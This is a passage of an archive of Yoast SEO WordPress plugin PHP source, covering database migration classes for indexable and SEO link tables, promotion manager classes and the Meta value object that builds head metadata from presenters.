		$indexable_table->column(
			'title',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column( 'description', 'text', [ 'null' => true ] );
		$indexable_table->column(
			'breadcrumb_title',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);

		// Post metadata: status, public, protected.
		$indexable_table->column(
			'post_status',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column(
			'is_public',
			'boolean',
			[
				'null'    => true,
				'default' => null,
			]
		);
		$indexable_table->column( 'is_protected', 'boolean', [ 'default' => false ] );
		$indexable_table->column(
			'has_public_posts',
			'boolean',
			[
				'null'    => true,
				'default' => null,
			]
		);

		$indexable_table->column(
			'number_of_pages',
			'integer',
			[
				'unsigned' => true,
				'null'     => true,
				'default'  => null,
				'limit'    => 11,
			]
		);

		$indexable_table->column( 'canonical', 'mediumtext', [ 'null' => true ] );

		// SEO and readability analysis.
		$indexable_table->column(
			'primary_focus_keyword',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column(
			'primary_focus_keyword_score',
			'integer',
			[
				'null'  => true,
				'limit' => 3,
			]
		);
		$indexable_table->column(
			'readability_score',
			'integer',
			[
				'null'  => true,
				'limit' => 3,
			]
		);
		$indexable_table->column( 'is_cornerstone', 'boolean', [ 'default' => false ] );

		// Robots.
		$indexable_table->column(
			'is_robots_noindex',
			'boolean',
			[
				'null'    => true,
				'default' => false,
			]
		);
		$indexable_table->column(
			'is_robots_nofollow',
			'boolean',
			[
				'null'    => true,
				'default' => false,
			]
		);
		$indexable_table->column(
			'is_robots_noarchive',
			'boolean',
			[
				'null'    => true,
				'default' => false,
			]
		);
		$indexable_table->column(
			'is_robots_noimageindex',
			'boolean',
			[
				'null'    => true,
				'default' => false,
			]
		);
		$indexable_table->column(
			'is_robots_nosnippet',
			'boolean',
			[
				'null'    => true,
				'default' => false,
			]
		);

		// Twitter.
		$indexable_table->column(
			'twitter_title',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column( 'twitter_image', 'mediumtext', [ 'null' => true ] );
		$indexable_table->column( 'twitter_description', 'mediumtext', [ 'null' => true ] );
		$indexable_table->column(
			'twitter_image_id',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column(
			'twitter_image_source',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);

		// Open-Graph.
		$indexable_table->column(
			'open_graph_title',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column( 'open_graph_description', 'mediumtext', [ 'null' => true ] );
		$indexable_table->column( 'open_graph_image', 'mediumtext', [ 'null' => true ] );
		$indexable_table->column(
			'open_graph_image_id',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column(
			'open_graph_image_source',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column( 'open_graph_image_meta', 'text', [ 'null' => true ] );

		// Link count.
		$indexable_table->column(
			'link_count',
			'integer',
			[
				'null'  => true,
				'limit' => 11,
			]
		);
		$indexable_table->column(
			'incoming_link_count',
			'integer',
			[
				'null'  => true,
				'limit' => 11,
			]
		);

		// Prominent words.
		$indexable_table->column(
			'prominent_words_version',
			'integer',
			[
				'null'     => true,
				'limit'    => 11,
				'unsigned' => true,
				'default'  => null,
			]
		);

		$indexable_table->finish();

		$this->add_indexes( $table_name );

		$this->add_timestamps( $table_name );
	}

	/**
	 * Adds indexes to the indexable table.
	 *
	 * @param string $indexable_table_name The name of the indexable table.
	 *
	 * @return void
	 */
	private function add_indexes( $indexable_table_name ) {
		$this->add_index(
			$indexable_table_name,
			[
				'object_type',
				'object_sub_type',
			],
			[
				'name' => 'object_type_and_sub_type',
			]
		);

		$this->add_index(
			$indexable_table_name,
			'permalink_hash',
			[
				'name' => 'permalink_hash',
			]
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20191011111109_WpYoastIndexableHierarchy.php000066600000003072152204306270017421 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class WpYoastIndexableHierarchy.
 */
class WpYoastIndexableHierarchy extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		$indexable_table = $this->create_table( $table_name, [ 'id' => false ] );

		$indexable_table->column(
			'indexable_id',
			'integer',
			[
				'primary_key' => true,
				'unsigned'    => true,
				'null'        => true,
				'limit'       => 11,
			]
		);
		$indexable_table->column(
			'ancestor_id',
			'integer',
			[
				'primary_key' => true,
				'unsigned'    => true,
				'null'        => true,
				'limit'       => 11,
			]
		);
		$indexable_table->column(
			'depth',
			'integer',
			[
				'unsigned' => true,
				'null'     => true,
				'limit'    => 11,
			]
		);
		$indexable_table->finish();

		$this->add_index( $table_name, 'indexable_id', [ 'name' => 'indexable_id' ] );
		$this->add_index( $table_name, 'ancestor_id', [ 'name' => 'ancestor_id' ] );
		$this->add_index( $table_name, 'depth', [ 'name' => 'depth' ] );
	}

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function down() {
		$this->drop_table( $this->get_table_name() );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable_Hierarchy' );
	}
}
config/migrations/20200513133401_ResetIndexableHierarchyTable.php000066600000001366152204306270020046 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class ResetIndexableHierarchyTable.
 */
class ResetIndexableHierarchyTable extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->query( 'TRUNCATE TABLE ' . $this->get_table_name() );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// Nothing to do.
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable_Hierarchy' );
	}
}
config/migrations/20230417083836_AddInclusiveLanguageScore.php000066600000001662152204306270017400 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * AddInclusiveLanguageScore class.
 */
class AddInclusiveLanguageScore extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		$this->add_column(
			$table_name,
			'inclusive_language_score',
			'integer',
			[
				'null'  => true,
				'limit' => 3,
			]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$table_name = $this->get_table_name();

		$this->remove_column( $table_name, 'inclusive_language_score' );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20200616130143_ReplacePermalinkHashIndex.php000066600000004365152204306270017361 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * ReplacePermalinkHashIndex class.
 */
class ReplacePermalinkHashIndex extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();
		$adapter    = $this->get_adapter();

		if ( ! $adapter->has_table( $table_name ) ) {
			return;
		}

		$this->change_column(
			$table_name,
			'permalink_hash',
			'string',
			[
				'null'  => true,
				'limit' => 40,
			]
		);

		if ( $adapter->has_index( $table_name, [ 'permalink_hash' ], [ 'name' => 'permalink_hash' ] ) ) {
			$this->remove_index(
				$table_name,
				[
					'permalink_hash',
				],
				[
					'name' => 'permalink_hash',
				]
			);
		}

		if ( ! $adapter->has_index( $table_name, [ 'permalink_hash', 'object_type' ], [ 'name' => 'permalink_hash_and_object_type' ] ) ) {
			$this->add_index(
				$table_name,
				[
					'permalink_hash',
					'object_type',
				],
				[
					'name' => 'permalink_hash_and_object_type',
				]
			);
		}
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$table_name = $this->get_table_name();
		$adapter    = $this->get_adapter();

		if ( ! $adapter->has_table( $table_name ) ) {
			return;
		}

		if ( $adapter->has_index( $table_name, [ 'permalink_hash', 'object_type' ], [ 'name' => 'permalink_hash_and_object_type' ] ) ) {
			$this->remove_index(
				$table_name,
				[
					'permalink_hash',
					'object_type',
				],
				[
					'name' => 'permalink_hash_and_object_type',
				]
			);
		}

		$this->change_column(
			$table_name,
			'permalink_hash',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);

		if ( ! $adapter->has_index( $table_name, [ 'permalink_hash' ], [ 'name' => 'permalink_hash' ] ) ) {
			$this->add_index(
				$table_name,
				[
					'permalink_hash',
				],
				[
					'name' => 'permalink_hash',
				]
			);
		}
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20200430075614_AddIndexableObjectIdAndTypeIndex.php000066600000001737152204306270020541 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class AddIndexableObjectIdAndTypeIndex.
 */
class AddIndexableObjectIdAndTypeIndex extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->add_index(
			$this->get_table_name(),
			[
				'object_id',
				'object_type',
			],
			[
				'name' => 'object_id_and_type',
			]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->remove_index(
			$this->get_table_name(),
			[
				'object_id',
				'object_type',
			],
			[
				'name' => 'object_id_and_type',
			]
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20201216141134_ExpandPrimaryTermIDColumnLengths.php000066600000002005152204306270020666 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * ExpandPrimaryTermIDColumnLengths class.
 */
class ExpandPrimaryTermIDColumnLengths extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * The columns to change the column type and length of.
	 *
	 * @var string[]
	 */
	protected static $columns_to_change = [
		'post_id',
		'term_id',
	];

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		foreach ( self::$columns_to_change as $column ) {
			$this->change_column(
				$this->get_table_name(),
				$column,
				'biginteger',
				[ 'limit' => 20 ]
			);
		}
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Primary_Term' );
	}
}
config/migrations/20200507054848_DeleteDuplicateIndexables.php000066600000002113152204306270017410 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class DeleteDuplicateIndexables.
 */
class DeleteDuplicateIndexables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		/*
		 * Deletes duplicate indexables that have the same object_id and object_type.
		 * The rows with a higher ID are deleted as those should be unused and could be outdated.
		 */
		$this->query( 'DELETE wyi FROM ' . $table_name . ' wyi INNER JOIN ' . $table_name . ' wyi2 WHERE wyi2.object_id = wyi.object_id AND wyi2.object_type = wyi.object_type AND wyi2.id < wyi.id;' );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// Nothing to do.
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20200609154515_AddHasAncestorsColumn.php000066600000001661152204306270016542 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\WordPress\Wrapper;

/**
 * Class AddHasAncestorsColumn.
 */
class AddHasAncestorsColumn extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->add_column(
			Model::get_table_name( 'Indexable' ),
			'has_ancestors',
			'boolean',
			[
				'default' => false,
			]
		);

		Wrapper::get_wpdb()->query(
			'
			UPDATE ' . Model::get_table_name( 'Indexable' ) . '
			SET has_ancestors = 1
			WHERE id IN ( SELECT indexable_id FROM ' . Model::get_table_name( 'Indexable_Hierarchy' ) . ' )
			'
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->remove_column( Model::get_table_name( 'Indexable' ), 'has_ancestors' );
	}
}
config/migrations/20200617122511_CreateSEOLinksTable.php000066600000004735152204306270016074 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * CreateSEOLinksTable class.
 */
class CreateSEOLinksTable extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();
		$adapter    = $this->get_adapter();

		// The table may already have been created by legacy code.
		// If not, create it exactly as it was.
		if ( ! $adapter->table_exists( $table_name ) ) {
			$table = $this->create_table( $table_name, [ 'id' => false ] );
			$table->column(
				'id',
				'biginteger',
				[
					'primary_key'    => true,
					'limit'          => 20,
					'unsigned'       => true,
					'auto_increment' => true,
				]
			);
			$table->column( 'url', 'string', [ 'limit' => 255 ] );
			$table->column(
				'post_id',
				'biginteger',
				[
					'limit'    => 20,
					'unsigned' => true,
				]
			);
			$table->column(
				'target_post_id',
				'biginteger',
				[
					'limit'    => 20,
					'unsigned' => true,
				]
			);
			$table->column( 'type', 'string', [ 'limit' => 8 ] );
			$table->finish();
		}
		if ( ! $adapter->has_index( $table_name, [ 'post_id', 'type' ], [ 'name' => 'link_direction' ] ) ) {
			$this->add_index( $table_name, [ 'post_id', 'type' ], [ 'name' => 'link_direction' ] );
		}

		// Add these columns outside of the initial table creation as these did not exist on the legacy table.
		$this->add_column( $table_name, 'indexable_id', 'integer', [ 'unsigned' => true ] );
		$this->add_column( $table_name, 'target_indexable_id', 'integer', [ 'unsigned' => true ] );
		$this->add_column( $table_name, 'height', 'integer', [ 'unsigned' => true ] );
		$this->add_column( $table_name, 'width', 'integer', [ 'unsigned' => true ] );
		$this->add_column( $table_name, 'size', 'integer', [ 'unsigned' => true ] );
		$this->add_column( $table_name, 'language', 'string', [ 'limit' => 32 ] );
		$this->add_column( $table_name, 'region', 'string', [ 'limit' => 32 ] );

		$this->add_index( $table_name, [ 'indexable_id', 'type' ], [ 'name' => 'indexable_link_direction' ] );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->drop_table( $this->get_table_name() );
	}

	/**
	 * Returns the SEO Links table name.
	 *
	 * @return string
	 */
	private function get_table_name() {
		return Model::get_table_name( 'SEO_Links' );
	}
}
config/migrations/20200428123747_BreadcrumbTitleAndHierarchyReset.php000066600000002356152204306270020717 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class BreadcrumbTitleAndHierarchyReset.
 */
class BreadcrumbTitleAndHierarchyReset extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->change_column( $this->get_indexable_table_name(), 'breadcrumb_title', 'text', [ 'null' => true ] );
		$this->query( 'DELETE FROM ' . $this->get_indexable_hierarchy_table_name() );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->change_column(
			$this->get_indexable_table_name(),
			'breadcrumb_title',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_table_name() {
		return Model::get_table_name( 'Indexable' );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_hierarchy_table_name() {
		return Model::get_table_name( 'Indexable_Hierarchy' );
	}
}
config/migrations/20200429105310_TruncateIndexableTables.php000066600000002065152204306270017076 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class TruncateIndexableTables.
 */
class TruncateIndexableTables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->query( 'TRUNCATE TABLE ' . $this->get_indexable_table_name() );
		$this->query( 'TRUNCATE TABLE ' . $this->get_indexable_hierarchy_table_name() );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// Nothing to do.
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_table_name() {
		return Model::get_table_name( 'Indexable' );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_hierarchy_table_name() {
		return Model::get_table_name( 'Indexable_Hierarchy' );
	}
}
promotions/domain/promotion-interface.php000066600000000171152204306270014725 0ustar00<?php

namespace Yoast\WP\SEO\Promotions\Domain;

/**
 * Interface for a Promotion.
 */
interface Promotion_Interface {}
promotions/application/promotion-manager.php000066600000003310152204306270015431 0ustar00<?php

namespace Yoast\WP\SEO\Promotions\Application;

use Yoast\WP\SEO\Promotions\Domain\Promotion_Interface;

/**
 * Class to manage promotional promotions.
 *
 * @makePublic
 */
class Promotion_Manager implements Promotion_Manager_Interface {

	/**
	 * The centralized list of promotions: all promotions should be passed to the constructor.
	 *
	 * @var array<Abstract_Promotion>
	 */
	private $promotions_list = [];

	/**
	 * Class constructor.
	 *
	 * @param Promotion_Interface ...$promotions List of promotions.
	 */
	public function __construct( Promotion_Interface ...$promotions ) {
		$this->promotions_list = $promotions;
	}

	/**
	 * Whether the promotion is effective.
	 *
	 * @param string $promotion_name The name of the promotion.
	 *
	 * @return bool Whether the promotion is effective.
	 */
	public function is( string $promotion_name ): bool {
		$time = \time();

		foreach ( $this->promotions_list as $promotion ) {
			if ( $promotion->get_promotion_name() === $promotion_name ) {
				return $promotion->get_time_interval()->contains( $time );
			}
		}

		return false;
	}

	/**
	 * Get the list of promotions.
	 *
	 * @return array<Abstract_Promotion> The list of promotions.
	 */
	public function get_promotions_list(): array {
		return $this->promotions_list;
	}

	/**
	 * Get the names of currently active promotions.
	 *
	 * @return array<string> The list of promotions.
	 */
	public function get_current_promotions(): array {
		$current_promotions = [];
		$time               = \time();
		foreach ( $this->promotions_list as $promotion ) {
			if ( $promotion->get_time_interval()->contains( $time ) ) {
				$current_promotions[] = $promotion->get_promotion_name();
			}
		}

		return $current_promotions;
	}
}
promotions/application/promotion-manager-interface.php000066600000000773152204306270017401 0ustar00<?php

namespace Yoast\WP\SEO\Promotions\Application;

/**
 * Interface for the promotion manager.
 */
interface Promotion_Manager_Interface {

	/**
	 * Whether the promotion is effective.
	 *
	 * @param string $promotion_name The name of the promotion.
	 *
	 * @return bool Whether the promotion is effective.
	 */
	public function is( string $promotion_name ): bool;

	/**
	 * Get the list of promotions.
	 *
	 * @return array The list of promotions.
	 */
	public function get_promotions_list(): array;
}
surfaces/values/meta.php000066600000027632152204306270011334 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces\Values;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Exceptions\Forbidden_Property_Mutation_Exception;
use Yoast\WP\SEO\Integrations\Front_End_Integration;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;
use Yoast\WP\SEO\Presenters\Rel_Next_Presenter;
use Yoast\WP\SEO\Presenters\Rel_Prev_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Meta value object.
 *
 * @property array       $breadcrumbs                       The breadcrumbs array for the current page.
 * @property string      $canonical                         The canonical URL for the current page.
 * @property string      $company_name                      The company name from the Knowledge graph settings.
 * @property int         $company_logo_id                   The attachment ID for the company logo.
 * @property string      $description                       The meta description for the current page, if set.
 * @property int         $estimated_reading_time_minutes    The estimated reading time in minutes for posts.
 * @property Indexable   $indexable                         The indexable object.
 * @property string      $main_schema_id                    Schema ID that points to the main Schema thing on the page, usually the webpage or article Schema piece.
 * @property string      $meta_description                  The meta description for the current page, if set.
 * @property string      $open_graph_article_author         The article:author value.
 * @property string      $open_graph_article_modified_time  The article:modified_time value.
 * @property string      $open_graph_article_published_time The article:published_time value.
 * @property string      $open_graph_article_publisher      The article:publisher value.
 * @property string      $open_graph_description            The og:description.
 * @property bool        $open_graph_enabled                Whether OpenGraph is enabled on this site.
 * @property string      $open_graph_fb_app_id              The Facebook App ID.
 * @property array       $open_graph_images                 The array of images we have for this page.
 * @property string      $open_graph_locale                 The og:locale for the current page.
 * @property string      $open_graph_publisher              The OpenGraph publisher reference.
 * @property string      $open_graph_site_name              The og:site_name.
 * @property string      $open_graph_title                  The og:title.
 * @property string      $open_graph_type                   The og:type.
 * @property string      $open_graph_url                    The og:url.
 * @property string      $page_type                         The Schema page type.
 * @property array       $robots                            An array of the robots values set for the current page.
 * @property string      $rel_next                          The next page in the series, if any.
 * @property string      $rel_prev                          The previous page in the series, if any.
 * @property array       $schema                            The entire Schema array for the current page.
 * @property string      $schema_page_type                  The Schema page type.
 * @property string      $site_name                         The site name from the Yoast SEO settings.
 * @property string      $site_represents                   Whether the site represents a 'person' or a 'company'.
 * @property array|false $site_represents_reference         The schema reference ID for what this site represents.
 * @property string      $site_url                          The site's main URL.
 * @property int         $site_user_id                      If the site represents a 'person', this is the ID of the accompanying user profile.
 * @property string      $title                             The SEO title for the current page.
 * @property string      $twitter_card                      The Twitter card type for the current page.
 * @property string      $twitter_creator                   The Twitter card author for the current page.
 * @property string      $twitter_description               The Twitter card description for the current page.
 * @property string      $twitter_image                     The Twitter card image for the current page.
 * @property string      $twitter_site                      The Twitter card site reference for the current page.
 * @property string      $twitter_title                     The Twitter card title for the current page.
 * @property string      $wordpress_site_name               The site name from the WordPress settings.
 */
class Meta {

	/**
	 * The container.
	 *
	 * @var ContainerInterface
	 */
	protected $container;

	/**
	 * The meta tags context.
	 *
	 * @var Meta_Tags_Context
	 */
	protected $context;

	/**
	 * The front end integration.
	 *
	 * @var Front_End_Integration
	 */
	protected $front_end;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	protected $helpers;

	/**
	 * The replace vars helper
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * Collection of properties dynamically set via the magic __get() method.
	 *
	 * @var array<string, mixed> Key is the property name.
	 */
	private $properties_bin = [];

	/**
	 * Create a meta value object.
	 *
	 * @param Meta_Tags_Context  $context   The indexable presentation.
	 * @param ContainerInterface $container The DI container.
	 */
	public function __construct( Meta_Tags_Context $context, ContainerInterface $container ) {
		$this->container = $container;
		$this->context   = $context;

		$this->helpers      = $this->container->get( Helpers_Surface::class );
		$this->replace_vars = $this->container->get( WPSEO_Replace_Vars::class );
		$this->front_end    = $this->container->get( Front_End_Integration::class );
	}

	/**
	 * Returns the output as would be presented in the head.
	 *
	 * @return object The HTML and JSON presentation of the head metadata.
	 */
	public function get_head() {
		$presenters = $this->get_presenters();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation = \apply_filters( 'wpseo_frontend_presentation', $this->context->presentation, $this->context );

		$html_output      = '';
		$json_head_fields = [];

		foreach ( $presenters as $presenter ) {
			$presenter->presentation = $presentation;
			$presenter->replace_vars = $this->replace_vars;
			$presenter->helpers      = $this->helpers;

			$html_output .= $this->create_html_presentation( $presenter );
			$json_field   = $this->create_json_field( $presenter );

			// Only use the output of presenters that could successfully present their data.
			if ( $json_field !== null && ! empty( $json_field->key ) ) {
				$json_head_fields[ $json_field->key ] = $json_field->value;
			}
		}
		$html_output = \trim( $html_output );

		return (object) [
			'html' => $html_output,
			'json' => $json_head_fields,
		];
	}

	/**
	 * Magic getter for presenting values through the appropriate presenter, if it exists.
	 *
	 * @param string $name The property to get.
	 *
	 * @return mixed The value, as presented by the appropriate presenter.
	 */
	public function __get( $name ) {
		if ( \array_key_exists( $name, $this->properties_bin ) ) {
			return $this->properties_bin[ $name ];
		}

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation = \apply_filters( 'wpseo_frontend_presentation', $this->context->presentation, $this->context );

		if ( ! isset( $presentation->{$name} ) ) {
			if ( isset( $this->context->{$name} ) ) {
				$this->properties_bin[ $name ] = $this->context->{$name};
				return $this->properties_bin[ $name ];
			}
			return null;
		}

		$presenter_namespace = 'Yoast\WP\SEO\Presenters\\';
		$parts               = \explode( '_', $name );
		if ( $parts[0] === 'twitter' ) {
			$presenter_namespace .= 'Twitter\\';
			$parts                = \array_slice( $parts, 1 );
		}
		elseif ( $parts[0] === 'open' && $parts[1] === 'graph' ) {
			$presenter_namespace .= 'Open_Graph\\';
			$parts                = \array_slice( $parts, 2 );
		}

		$presenter_class = $presenter_namespace . \implode( '_', \array_map( 'ucfirst', $parts ) ) . '_Presenter';

		if ( \class_exists( $presenter_class ) ) {
			/**
			 * The indexable presenter.
			 *
			 * @var Abstract_Indexable_Presenter $presenter
			 */
			$presenter               = new $presenter_class();
			$presenter->presentation = $presentation;
			$presenter->helpers      = $this->helpers;
			$presenter->replace_vars = $this->replace_vars;
			$value                   = $presenter->get();
		}
		else {
			$value = $presentation->{$name};
		}

		$this->properties_bin[ $name ] = $value;
		return $this->properties_bin[ $name ];
	}

	/**
	 * Magic isset for ensuring properties on the presentation are recognised.
	 *
	 * @param string $name The property to get.
	 *
	 * @return bool Whether or not the requested property exists.
	 */
	public function __isset( $name ) {
		if ( \array_key_exists( $name, $this->properties_bin ) ) {
			return true;
		}

		return isset( $this->context->presentation->{$name} );
	}

	/**
	 * Prevents setting dynamic properties and overwriting the value of declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name  The property name.
	 * @param mixed  $value The property value.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
	 */
	public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
		throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
	}

	/**
	 * Prevents unsetting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name The property name.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
	 */
	public function __unset( $name ) {
		throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
	}

	/**
	 * Strips all nested dependencies from the debug info.
	 *
	 * @return array
	 */
	public function __debugInfo() {
		return [ 'context' => $this->context ];
	}

	/**
	 * Returns all presenters.
	 *
	 * @return Abstract_Indexable_Presenter[]
	 */
	protected function get_presenters() {
		$presenters = $this->front_end->get_presenters( $this->context->page_type, $this->context );

		if ( $this->context->page_type === 'Date_Archive' ) {
			/**
			 * Define a filter that removes objects of type Rel_Next_Presenter or Rel_Prev_Presenter from a list.
			 *
			 * @param object $presenter The presenter to verify.
			 *
			 * @return bool True if the presenter is not a Rel_Next or Rel_Prev presenter.
			 */
			$callback   = static function ( $presenter ) {
				return ! \is_a( $presenter, Rel_Next_Presenter::class )
					&& ! \is_a( $presenter, Rel_Prev_Presenter::class );
			};
			$presenters = \array_filter( $presenters, $callback );
		}

		return $presenters;
	}

	/**
	 * Uses the presenter to create a line of HTML.
	 *
	 * @param Abstract_Indexable_Presenter $presenter The presenter.
	 *
	 * @return string
	 */
	protected function create_html_presentation( $presenter ) {
		$presenter_output = $presenter->present();
		if ( ! empty( $presenter_output ) ) {
			return $presenter_output . \PHP_EOL;
		}
		return '';
	}

	/**
	 * Converts a presenter's key and value to JSON.
	 *
	 * @param Abstract_Indexable_Presenter $presenter The presenter whose key and value are to be converted to JSON.
	 *
	 * @return object|null
	 */
	protected function create_json_field( $presenter ) {
		if ( $presenter->get_key() === 'NO KEY PROVIDED' ) {
